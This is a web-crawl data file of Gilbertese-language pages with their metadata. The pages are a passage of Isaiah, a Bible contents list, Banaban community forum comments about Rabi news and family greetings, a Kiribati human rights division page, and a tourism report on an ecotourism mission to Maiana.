Iehova!'+\nMa E na kaoti ao ni karokoa te kimwareirei iroumi,\nAo boni ngaiia aika a na kamaamaeaki.\"+\n6 Iai karongoaan te kiriwe man te kaawa, ae te karongoa man te tembora!\nBoni karongoaan Iehova ni kabooi aia mwakuri taani kairiribai nakoina are a bon riai n reke irouia.\n7 Imwain ae e mamaraki neiei, ao e a bung naba.+\nImwain ae e roko aririna, ao e a bungia naba te nati te mwaane.\n8 Antai ae e a tia n ongo te aekaki anne?\nAo antai ae e a tia n nori aekaki akanne?\nE na bungiaki te aba n tii tebongina?\nKe e na bungiaki te natannaomata teuana n tii te taina?\nNgke e a tibwa mamaraki Tion, ao e a bungia naba natina mwaane.\n9 \"N na karokoa n te tai are e nangi bung iai ao N na aki kabungnga?\" bon ana taeka Iehova.\n\"Ke N na kabung, ao I a kaina naba te biroto?\" bon ana taeka Atuam.\nKam na kakatonga ma ngaia, ngkami ni kabane aika kam tanginiwenei ibukina,\n11 Bwa ane kam na mammaa mammana ni karaunano ao kam na rauaki raoi,\nAo kam na kabatiaa moimi ao kam na karekea kimwareireimi ae bati man tamaroana ae bati.\n12 Bwa e kangai ana taeka Iehova:\n\"Ae I a anga nakon neiei te rau n aron te karaanga,+\nAo baika tamaroa mairouia natannaomata n aron te karaanga ae korakora raangana.+\nAne kam na mamma ao n rarikinaki,\nAo kam na bwabwakoaki raoi i aoni bubuaniwaen neiei.\n13 N aron te tina ni kabebetea natina te mwaane,\nAo N na teimatoa naba ni kabebeteingkami.+\nAo kam na kabebeteaki ibukin Ierutarem.+\n14 Kam na nora aei, ao e na kakatonga nanomi,\nAo a na maiureirei riimi n aron uteute aika boou.\n15 \"Bwa e na roko Iehova bwa kaanga te ai,+\nAo ana kaa ni buaka bwa ai aron te angibuaka,+\nBwa e na kabooi aia mwakuri aomata akanne n te un ae korakora,\nAo ni boaa te aba n uran te ai.+\n16 Bwa e na motikitaeka Iehova n te ai,\nEng, n ana kabaang, n ekiianako iriko ni kabane,*\nAo a na bati aika kamateaki iroun Iehova.\n17 \"A na bane n roko n tokia te koraki ake a katabuia i bon irouia ao ni kaitiakiia, bwa a na rinnako n taian onnaroka*+ n ira te baere tei i nuka, ao te koraki ake a kang irikon taiani beeki+ ao baika ribaaki ao taiani kimoa,\"+ bon ana taeka Iehova. 18 \"Kioina ngkai I atai aia mwakuri ma aia iango, ao I a roko bwa N na ikotiia aomata mai buakoia natannaomata nako ao taian taetae, ao a na roko ao a na nora mimitongiu.\"\n19 \"N na katea te kanikina i buakoia, ao tabeman mai buakoia naake a rabanako N na kanakoia nakoia natannaomata, nako Taretiti,+ Bura, ao Rata,+ ao nakoia te koraki ake a katebea te kainikatebe, nako Tubara ao Iawan,+ ao abamwakoro ake a raroanako, ake a tuai man ongo taekau ke n nora mimitongiu. Ao ane a na tataekina mimitongiu i buakoia natannaomata.+ 20 A na kairiia tarimi ni kabane ni kaotinakoia mai buakoia natannaomata nako,+ bwa te bwaintituaraoi nakon Iehova. A na roko i aoia aoti, i nanoni kaa ni buaka, i nanoni kaa aika rabunaki, i aoia miure, ao i aoia kamero aika birimwaaka, ni waerake nakon au maunga ae tabu ae Ierutarem,\" bon ana taeka Iehova, \"n aroia tibun Iteraera ngkana a uota aia bwaintituaraoi n te bwainnamwarake ae itiaki nako nanon ana auti Iehova.\"\n21 \"N na anaiia naba tabeman bwa ibonga* ao tibun Rewi,\" bon ana taeka Iehova.\n23 \"Ao man otin namwakaina teuana nakon otin namwakaina teuana ao man te bongi n taabati teuana nakon te bongi n taabati teuana,","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/23\/66","date":"2018-12-14T08:37:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825495.60\/warc\/CC-MAIN-20181214070839-20181214092339-00580.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":789,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou MOANTAEKABOOKIKARINANAKIN TAEKABUKINIBAA ABUKINIBAA B Bukinibaa B B1 Te Rongorongo ae Mena n te Baibara MWAABE B2 Karikani Bwaai ao Mwamwanangaia Baatua B3 Te Otinako Mai Aikubita B4 Kataenikaian te Aba ni Berita B6 Maekanakin te Aba ni Berita B7 Ana Tautaeka n Uea Tawita ao Toromon B9 Tautaeka Aika Mwaaka Riki n te Aonnaba Aika Taetae ni Burabetinaki Iroun Taniera B10 Iteraera n Ana Tai Iesu B13 Butanakon te Aro ni Kristian TAAMNEI B5 Te Umwanrianna ae Tabu ao te Ibonga ae Rietata B8 Te Tembora ae Kateaki Iroun Toromon B11 Bairean te Tembora n te Moan Tienture TE TAI B12-A Ana Kabanea ni Wiki Iesu ni Maiu i Aon te Aba (Mwakoro 1) B12-B Ana Kabanea ni Wiki Iesu ni Maiu i Aon te Aba (Mwakoro 2) B15 Te Karenta n Ebera BWAAI NI BAIRE B14-A Te Iokinibwai ao te Waaki ni Bitineti B14-B Te Mwane ao te Rawawata","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/wol.jw.org\/gil\/wol\/publication\/r178\/lp-gb\/nwt\/GB\/2013\/119","date":"2019-03-18T21:39:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201707.53\/warc\/CC-MAIN-20190318211849-20190318233849-00357.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":159,"character_repetition_ratio":0.065,"word_repetition_ratio":0.04,"special_characters_ratio":0.225,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam na mauri riki,\nN te Tabati 28\/3 ao e roko te bauna ibukiia kaain Rambi man te aro ni Kaitibong are e iria Pastor Kabung Tabuariki. A kanakoaki baunaia kaain Buakonikai ma Tabiang n te Tabati naba anne ao n te bong aio, te Moanibong 29\/3 ao a kanakoaki baunaia kaain Uma ao Tabwewa. Amarake aika a roko bon te raiti, te tioka, te burawa ao te dahl.\nBon te kakaitau ae moan te bati nakon te aro ni Kaitibong ao Pastor Kabung Tabuariki ibukin biriakinan te itera aei.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/latest-rabi-update-from-rabi","date":"2019-11-11T22:19:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664439.7\/warc\/CC-MAIN-20191111214811-20191112002811-00441.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":88,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ko kakamaneko......are tia bon aine.....ao ea tau ba eaki atakakai taekara ngke ti warereke ao bon te kkani kaotia naba iroum ahahaha....sori akea tamein nei trisha ikai........e tau tekeraoi moa Bro......\nmauri naba ea boni man te tai ao tia manga reitaki ma irarikin ane ao an taai moa kee.\nngai ia bon aki kinako. sori for that?\nNgai tamau erika ao tinau nei molly ao koe.....\ntia manga ritaki riki rimwi.\nYep means ko aki kakabongana raoi te side aei bwa ngkana ko bon wareware iai ao ko ata naba te bai ae riki iaon Rabi. Ko ataiko ngke te minita koa tabe naba ni ware baibara ao ka aki ataia ao a rotaki am koraki n Rabi hahahahahaha. Nways e korakora te uruaki iaona ana urubai Cyclone Tomas ao temanna are mate arana Tutaake baoa kain Tabiang. E mate i Rakentai bwa e bakaraki n ana auti. Anne moa ae i ataia so far. Ma koa bon karekea matan ni mataku n ana tamnei Nei Stacey nora mwin ana urubai cyclone Tomas. E uara koa ururingia naba n am tataro riki at dis stage ngkai akea kain amarake iaon abaia ibukin karekean kanaia.\nOh eng boni ngaia raoi anne. Bon ngai ma natiu ao kainabau are e drive. Ngaia ani kabara te bure e nang kanga ao tiaki bae n taraia aomata bwa are e nang kume natiu ai ngaia ia bon concentrate naba irouna. Akea te kanganga bwa i bon aki kona ni maninga taekan abau ae moan te tangiraki irou ma ai bon reken taina n tairake aikai.\nKai are bon akea te problem iai bwa e bon understand au hubby ao riki e kona n join in naba ao man ikikina. Ai bon reken taina ae angaraoi e nang kanga au tabo ni makuri aio angin te tai ao ti bon makuri ntaian ministries ai ngaia are tia bon kikitana naba ara aobiti. Au gmail add bon firstname.lastname@example.org. E raraba riki te reitaki and stay in touch.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1v7f0n6ahaqiq","date":"2019-11-12T03:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664567.4\/warc\/CC-MAIN-20191112024224-20191112052224-00536.warc.gz","language":"gil","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000030994415283}","num_words":332,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.247,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nMauri naba...ngaia raoi anne te titiraki naba ae rio iroura te nati ni Banaba iaon Tarawa ikai....ba antai Umesh ae ena kona n ira te mananga nako Banaba ma n ongora ao ti ongo ae e bon fund manangana Umesh...etc etc ao tao bukina naba ae ea iein Umesh ma te nati ni Banaba tao ngaia anne naba bukina ngkai ea kona n iri iai...ma e bon nakon temanna ma temanna ana findings ngkana e bon koaua ongora aio...well all the best ao God bless te nati ni Banaba.\nBula RBR,\nI aki rota kaboan manangan ke katean manangan te aomata nakon te tabo are e kan nako iai ke rekerekena ma te nati ni Banaba. Te bai ae inang katuruturua ikai bwa ti nang aki manga taraia ianena bwa taan waakina te makuri ke n karekerekia ma makurian abara.(Tao iai tabeman aika tina kainanoia n aroia taan rabau aika a maaan man matai n te rabakau are eaki kona te nati n Banaba CONSULTANTS) I ataia bwa ea rawata ngkai ae ea kona n waakin makuri ake aki konai ngkoa ara ikawai n taai akekei....URINGA BWA KARINAN TEI ANENA N TE WAAKI ENA ONOTI TE KABWAIA IAI.....AO E MENA IA NGKANNE TE NATI N BANABA.\nMauri naba Triple T,\nN aron are ko mention iaon Umesh...ao te real story raoi ba akea rekerekena ma bain aon te aba ma e ira te mananga to Banaba ba e kan raun ke kan nora Banaba....ao e bon riki naba ba aia driver kain te tiim..but antai ae e ataia ao tao ena manga charge ibukin ana makuri n driver....funny ngkana ea manga charge ao tao tina manga titiraki e maeka iaa ao antai ae kabooa tikuna..????so ukeria nako ba antai ae ataia ao ngaia bon iai te nangan secrets aika ana oti...!!!!\nE tau tia kakantaningai findings iaon te mananga aio riki...tekeraoi ngkami ni kabane te nati ni Banaba ma ai moara riki God bless te nati ni Banaba.\nSorry ba ti aki bukina te chairman nte itera aio ba te chairman e aki ira te mananga ma te titiraki bon nakoia ake a mananga nakomai nako Kiribati....??????ao tao tina kangai naba e maeka iaa ao antai ae kaboa ana tabo,kanana etc....ke kanga ba are ti riai n titiraki nako ke kairua ae i taekinna aio...!!! ba ngkana tao iai naba ana money tei-Banaba ae e kabonganaki naba nte mananga aio so why not ti aki titiraki..?\nE koaua am taeka Rere ba it's about time ae ti nang kaurei matara te nati ni Banaba iaon Rabi n ara kawa nako aika kakaokoro ba ai ti aki moa te tai ni kokoraki,iraorao etc etc te rine2 ae imaira ma ea taraaki ngkai te konabai ibukin kabutan abara ae tangiraki ae Rabi inanon te eti ma te riai.\nTekeraoi te nati ni Banaba ao kam nna kabaia.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/forum\/topics\/ana-tiim-te-kauntira?page=1&commentId=2211587%3AComment%3A125666&x=1","date":"2019-12-09T20:26:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540523790.58\/warc\/CC-MAIN-20191209201914-20191209225914-00179.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":483,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iai ae iai nako ana rongo2 ibukin te Tebwimanimaua 2010? I kakantaninga rongorongo iaon imwin te taubwi taian takakaro ma kabotikiraoi ma kanga bon tain moa te relax imwin te kabane ma te bubuti mai ikai bwa tera arona anne iai ae tokaki nanona ni kaongora mwin te bobotakii nuku..It will be really highly appreciated! Eiwati nakoimi te baroko hahahaha\nYou can share this discussion in two ways…\nShare this link:\nSend it with your computer's email program: Email this","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/main\/sharing\/share?id=2211587%253ATopic%253A75941","date":"2019-12-09T21:44:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540523790.58\/warc\/CC-MAIN-20191209201914-20191209225914-00358.warc.gz","language":"gil","language_score":0.9996321201,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9996321201324463}","num_words":79,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Human Rights –E moan kateaki te rabwata aio n 2015 iaan te MWYSSA ao n manga mwaing nakon aan te MOJ n January 2017. E katabeaki te Division aio ibukin te kamatata iaon inaomataia aomata nako e moa mai iroun te teei n uaa te kara ao riki te koraki ake aki toamau bwain rabwataia. E kabaeaki naba te rabwata aio bwa ena karaoi tenaan ribooti iaon inaomataia aomata are bon kabaean te Tautaeka n Kiribati ibukin tenaan Treaties ake ea tia n tianai. Nte tai aio moa ao aikai kakawakin katabean te Division aio bwa a na riai nako tenaan ribooti aikai nakon ana rabwata UN ibukin inaomataia aomata ao katabangakin te kaongora iaon Kiribati ibukin inaomataia kain abara.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.justice.gov.ki\/human-rights-service\/","date":"2020-04-09T22:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371880945.85\/warc\/CC-MAIN-20200409220932-20200410011432-00517.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":118,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko raraba naba n am ururing. E koaua te bai are ko taku are i a karaua naba nanou n am aomata ane kona kairia........... hehehehehehhe............ e buakaka are e a roko ao ai bon te kara tingotingo kee.........\nIbukin am atatai ao gai gkai i boni mena iroun au cousin brother i Betio ae Rutiano, bon tarin teuare i mena irouna gkoa i Temaiku. Ma gkai i mena i Bikenibeu ba are i boarding ba ia maga mena n te KTC. Aio bon au kauoua n ririki ikai. Kaga i a maga iagoa te tia reirei.\nE tau ko a maga bon reitia mai ikanne ba kaga akea moa te news mai ikai.\nSapo ao tekeraoi naba te waki ao ko agan naba tibum anne au kiss.\nMauri sis,\nE ragi n raraba te comment back. Akea arom ba ane ko na maga nako NZ........... shshshhshsh.............. ko tekena te aba kee. E aoria ma na taua mwin am taeka are ko taku ba kona uota au buaraku mai ikanne....... ao uriga ba na bon tatanigaia gkana ko oki kee........... e uara anne??????? Ma i a kan karautaeka n aron are ko taku ba tina ibuobuokia ba tokina ao naki tagiraki irarikim ba are ai bon te slim iroum ao gai are ai bon te kaubutae........... hehehehehhehe\nE tau sis, tekeraoi naba am waaki ao uringa te boraraoi kee.\nNeiko iai moa au bubuti......... gkai enga Tabane???? Ko always bobotaki naba ngkai kain KPC???? Ba Tetaake enag kainanoia ma ekona n ring 91419 gkana akea ana credit ao anaa ana phone number ao koa send it to me keee ........ pliz aunty...\nMaroaka ae i aki nonoriko ikai ba gaia ae koa rokoroko n the other part of the world.......... ti ata ae ga iroum.............. shshhshshhsh...................... ko tekena te aba kee.\nE uara am tabo anee???? E uara te maitorotoro iai??????? Ko a ragi n tara n fit ao n ataeinaine. Ai bon te katirim iroum kee. Koa ragi n tekenai ba gai ai bon te kaubutae ae i wakinna. E a ragi ni kaefu te amarake ikai........... a bure tata ara figure iai............ hehehehehehehe\nE tau ma tekeraoi naba te tiku ikanne ma koa maga bon raraun nakon au page.\nMauri Nei Amakoko!!! Aunty gkai I wareka am rongorongo ao ti te boo ma I anora naba matam,riam ao am action......hahahahaha ........ miss you gkana ko karaki.\nNei Maue e a bon tatang naba iroun Teuteu gkana e matu matana ao Teuteu ea katikia reben matana ni kaurea, e kua nte naia, e koona atuna, e kareaki ni karokoa e a bawareaki...hahahaha\nE nag kawa Nei Maue e a bon aki rau iron Teuteu. Serati e nag mamaraki nanona iroun Teuteu mare bon ana bure bare e aki kona n oreia.\nE nag boboto ao e nag buraerae like father keeee.\nTeuteu e nag bure torona like Mimin keeeee\nKaga akea te news mai kai bon ti wakin te makoro naba.\nEaster Taara I betio bare e batere man Bitibiti, ao gkai back to Rimon.\nhi sis thank you for the respond....and thank you too that u know that i am a tough lady..hahahaha....eti anne te kamauri naba nakoia am koraki ao ai bon te kamauri ao te katekeraoi nte easter weekend aio....nakoimi ni kabane.......tekeraoi te waki ikanne ao enjoy your easter weekend to the full...but make sure not to go further or else you will be lost amongst the crowd there...hahaha.....moce moa .,,,,,,\nNo prob bwa ia karokoi ami kamauri nakoia kain te auti ao anna kamauri naba Naomi nakon natina aei. Ao koa manga angania kain am auti ara inga mai ikai ao kain ana auti naba Matang gkana koa manga kaitibo ma gaia. Tekeraoi naba te easter ae nang roko aei.\nnee kee ko kamaenga kee...ao anne ia taninga roko ikai ba ia bon kabanea arou n tabebiti kee....hahahaha.....ma tau e raba riki te reitaki ao ai bon au kamauri nakoimi ni kabane ao ena tekraoi te tiku ikanne ao ai bon te kantaninga ba kam marurung naba n ai arora ikai...ma e tikiraoi ba tia manga bon ongongora mai mai ikanne...tia boo moa ....\nmauri naba sis te buretireti tiaki n arou ae moan te fofoto riki nakoim.....hahahhaha.....gaia raoi anne nee ia bon aki anga am kamauri ba kanga koa nang mamau maane kee.....hehehehhehe....agke jus kiddin sis mauri ao ko uara moa gkai..hope ko bon fit naba ..eng nei mama ma ake a bon mena naba i kiribac .... a tuai n nakomai may be when everything goes well ao gkanne tao a oki naba....but they are in good health and fine. except for nei aunty matou.. she is abit sick and then was taken to the hospital, then i heard then she was admitted at the hospital in tarawa. So i ask if you can pray for her too. And me and my family are fine and work is keeping us busy all the time. Sis so you know Ietaake too!!!he is my husband's nephew, but is he still studying there now????I thought he has completed his course....anyway sis got to go so, my greetings to you children and to everyone in your family... tia boo moa .....take care and hope to hear from you again...ok.....tekeraoi ....\nbula aunty!!!!\nko uara gkai aunty ma tibum anne???? hope kama nang marurung raoi bwa are kam manga roko i NZ kee...hehehhe gaia akea aromi kee....\nanyway, ti bon bane ni marurung raoi ngai ma mwaneu aikai, ao kain Betio anang marurung raoi naba riki teunaine ma teunimwane ba are ea manga reke tibuia riki temanna...hahahaha....\nanyway, akea moa rongorongo mai ikai so holla soon\nkiss Naomi for us n rgds to evry1 in da house...\nTEKERAOI\nngai natim ae tangiri ngkami\nTAARA RUBWATI.\nNei Kaka ao ti nang kanga ma are ti bon ira ara itera. Tia bon katikua Kiatoa ma ana itera ao kamarurunga tibum anee bwa ngai naba ae i tabe naba ni weight mai ikai. hahahaha. Ao ngke e rabwa te reitaki ao ngaira ti bane ni marurung. Natiu aei ea reirei i St.Anne Pre Sch. Ao e nang kanga ao taan mauku kain ara auti ai ngaia aikoa kona n toba tibuua ngkai ai bon te kume ao ai te waetiti nakonako. Tekeraoi moa ao koa manga reitia mai ikanne. Koa angania kain am auti ara inga mai ikai. Ao koa tuanga Rume bwa ngkana e kan reitaki ma Kiatoa ao e kona n reke iaon email@example.com.\nHey Bula Vinaka aunty!!!!\nkam uara gkai??? shshsh.... hope u all fine like us over here....\nare a bon bane rongorongo nako iroun Nei Taree mai ai bon ti aikanne rogorogon abara aio....last news from here last Saturday ao e motirawa tinan nei Itita are Ten Tiaon ao e kaiaki nte tabati.....tao ti ngaia anne moa mai ikai......\nanyway, ti bn bane ni marurung raoi gaira kain Bairiki ao Betio....Anga ara ka Tekeraoi nakon Nei Akka nna na mwakuri ao ai gkami ni bane, kiss Mimin for me, Maen n Rimon....\nMauri Moa!!! Kam uara gkai????\nKam iranigkami ma e a bung buun Serati aran natina bon Nei Maue hahaha e a reke tarin Mimin. After 3 e bung iai so 16\/03\/10 her date of birth.\nThanks God ibukinna, e kawaa Nei Tuete ba e rin I Nawerewere Saturday 13\/03\/10 ao ea tiba bung today 16\/03\/10 bon te kamarakaki ae korakora. E tekeraoi bae e aki tang are bon taua abana aei Arorae .....hehehehehe....\nE nabakara te kaogora mai Tabwewa Takoroga, pass the ball nakoin te tia karaki aei akea narona... hahaha\nMauri maa Mimin ao kam uara well take care ao please taubang naba man te sweet kee ao please kiss Mimin for us all ai moara riki ana aunties aikai Rotiita ao Tuiti-Sanji all the best ao love u all.\nWe miss u guys ao ara katetekeraoi naba nakon Akung ao God bless her n ana waaki nako.\nMauri ngke Nei Kaka. Ngaia ko utimaka n online kee. I bon chat ma Nei Aaro ngkebong ao ngaia ea kaongoira ae kam bon maeka ma Nei Lume. Ngaia kam aki botu bwa kam a manga maroro ikanne. E uara ana kamori Kiatoa anne hahahahahaha. Tia katikua moa ana itera kiatoa ke kanga? tekeraoi kanoan am bong ao koa angania naba kain am auti ara kamauri.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1n0fhn9kwhm8s&page=2","date":"2020-08-07T19:10:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737206.16\/warc\/CC-MAIN-20200807172851-20200807202851-00177.warc.gz","language":"gil","language_score":0.9988132715,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.998813271522522}","num_words":1370,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.213,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri aunty,thanx for the add n comments..koaki kakara kee..ko bon tekena neiere i Germany ba koa bon tatara naba n ataeinaine..lols..i mimi ba ia tia n leave au comments n am page yesterday, ma ia kubanako ba ngaia akea..enang kanga natim aio bon te sora naba e tabe n rikirake..tao ia post n aia page tabemang..hehehe..nway,ngai i bon start this semester,ia karaoi au 300-levels nte history..ai te teuana riki ao ia graduate.Ngaia e kabaia nei akung ba ea karaoa ana masters..koanga naba au kamauri nakoina ngkana ko contact ma ngaia..Taaku n hubby staying with us in Veisari..ai bon ana ka-7..enang tibuna tangan Tiki ma nei Teaibure..hehehe..ao a uara am roronga ao am small princess..koa plant naba am warm n sweet kisses on Naomi's cheeks for me..ao au kamauri ae maitorotoro nakoia am tautia anne Toks n Rimon.A bon marurung raoi Mama ao Baba..kanga a mamaninga aki kona n raraurenako,,e korakora ana baa tei Tarawa aio..hehe..i toki moa ikai ba na manga test this afternoon,have to prepare myself well..aunty,i manga ongora mai iroum te latest mai ikanne..ai bon te katekeraoi ao te inga mai ikai..my other alternative email..firstname.lastname@example.org\nEa toki makakakin te taore kain Tarawa aike aki nonobai hahahahaha te kamauri nakoia natin tia manga kaitbi ikanne inanon te wiki ae na roko tina bon mena nte Otintaai Hotel nte man ae uoua te wiki ke tenua te wiki i roko ikanne nae nako ao i bon kaitibo ma natim te mane nte night club ao titirakinna ao e taku bwa tinana ngkoe e tungako ke aki tau tia manga bo moa ma koa mnga reitia mai ikanne ngai ti temnna natiu te aine ao ea tia ni makoro ngkai raou hahahahahaha take care God Bless\nHi sis, hope you are fine now....? hows the banaban group in Tarawa? any meeting so far from the new table poeple? what is their plan on this coming december 15? pliz let me know cause i stay now in abatao..... Bon BUKI raoi ahaha\nMauri Mamro! its about time you show up here, hows things? Aeee enang maan te tai ke?..tao ea bon ikawai tibum, iraman ngkai? please write and update me ok?...ngaira tibon marurung, manem aio ae bon kekeiaki naba, still working though!..the principal still wants his service. Tepa n Ete are both in Lelean now, ao abon ikawai man kamaraki atu....boys ha! We are in Lokia now so if you happen to be coming around in the near future please contact me ok?...here is my mobile no.9382117....tia manga bo moa ke, tke care n god bless.\nMauri\nKou ara moa ma am koraki? te kantaninga ba ko bon marurung raoi ma natim ao tibum ni bane. Bon akea te rongorongo mai ikai bon ti te kamauri ao te inga ao e raba riki ngkai tia manga kaitibo nte site aio......\nOK tao ea bane mai ikai ao ena tekeraoi naba te waki ao ana kakabaia te Atua iaom ma am utu.\nMauri neiko ......ko uara?.....titabo ma koa moana riki ni boboto must be the age...hahaha...so how are the grand children.....you must be enjoying all time with your grand children......just dropped by to say hi and do kiss the small ones for me...take care and tia boo moa....mwah\nMauri Mamro,\nE rarabwa naba te add friend ao ko uara moa ma natim ao tibum te boboto n aine? Ara kantaninga bwa kam boni marurung raoi n ai arora ikai. I taku ea ataei n aine riki tibum anne ao ea kan reke te ibuobuoki irouna? Rongorongon Suva ngkai bon te mate bwa Nei Teruantei.Tete.E tau tao tia manga bon rereitaki riki ma koa angania Rimon,Akka,Maen ao natia anne ara inga ao ara kamauri.\nTia boo moa\nTiku,Taketiau ao ataei\nNeiko, Ai bon kaokaotira naba ngkoe. Ea kaman katuka ana rongorongo Baeang bwa etaku bwa kona ana am kariai irouna ngkana ko kan rin nte site aio (only joking). Ao ngke e rabwa te tangira bwa tia manga kaitiboaki nte site aio. Ai au kamauri ma Stacey nakoim ma Natim ao tibum ni bane ao nakoina kain batam ni bane. Au kantaninga bwa e koro raoi bukin ana biriaki Akka ibukin nako maimi nako Oz.\nmauri! E raba te akoi ba tia maga reitaki nte website aio. I taku ba ko marurung raoi ma tibum ao ngkami ni bane. Tao ea ikawai naba tibum anne ao ea kan reke ngkanne buokam nte auti.\nNgkai raora Aunty Tawana, Beibei ao tangaia Bob ma natia. Akea rongorongon ara tabo aio ba ti wareware ngkai ni katauraoi nakon ana quizz te bouta next saturday. E rangi ni kaunga ara botaki n te bouta ao iai ara kainin ae ena karaoaki n october. A kaoaki naba kain Lautoka\nao ena camp teaba i ketetemane.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1n0fhn9kwhm8s&page=6","date":"2020-08-07T19:13:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737206.16\/warc\/CC-MAIN-20200807172851-20200807202851-00181.warc.gz","language":"gil","language_score":0.9997307658,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997307658195496}","num_words":785,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"July 15 2020: Two officials from the Tourism Authority of Kiribati (TAK) set off to Maiana for a cultural rehabilitation program and ecotourism development consultation ass adaptations of climate change from 14th to 28th June 2020.\nThe first week involved joining the Cultural Museum Division (CMD) team of 8 from the Ministry of Internal Affairs on their village consultations. These consultations involved awareness on the significances of maintaining cultural heritage and planting of resilient local food crops to enhance their food security, maintain traditional cuisine, and to sustain local knowledge and practices in response to the adverse impacts of climate change.\nOne of the main activities TAK involved in was the cultural rehabilitation consultations with village elders (unimwane). This was the first ever joint Culture and Tourism mission of the rehabilitation of cultural sites for tourism significances and future generations.\nThe team consulted villages on considered initiatives for the preservation and beautification of those cultural sites. This joint task replicated the same mission on the other two piloted islands of Abemama and Nonouti.\nTheir awareness programs focused solely on the importance of Ecotourism and its linkages to cultural heritage, agritourism and other tourism related businesses development during the 2nd week of the trip. They also emphasized with communities identifying potential eco-tourism businesses as well as conducting Strengths, Weaknesses, Opportunities, and Threats (SWOT) analysis for each village.\nEach consultation`s ended with a training workshop on how to develop ecotourism packages and tourism itinerary development and planning.\nThe TAK team will revisit the island to cooperate with interested communities in commencing their eco-tourism business initiatives and to continue their engagement with CMB on the beautification of the identified cultural sites at Maiana. Also, the hope of these activities is to augment strategies against the instabilities of climate change.\nThe trip was financially made possible by the Food Security Project, commonly known as the LDCF-1 which is funded by the Global Environment Facility (GEF) through the UNDP and managed by the Environment and Conservation Division (ECD) under the MELAD\nA ikarekebai n makuri Aobitin Katein Abara ma Aobitin te Kaneweaba iaon Maiana ibukin katamaroaan taabo ake iai rongorongoia n irekereke ma katei ao rikia n Kiribati ao barongakin waaki ni 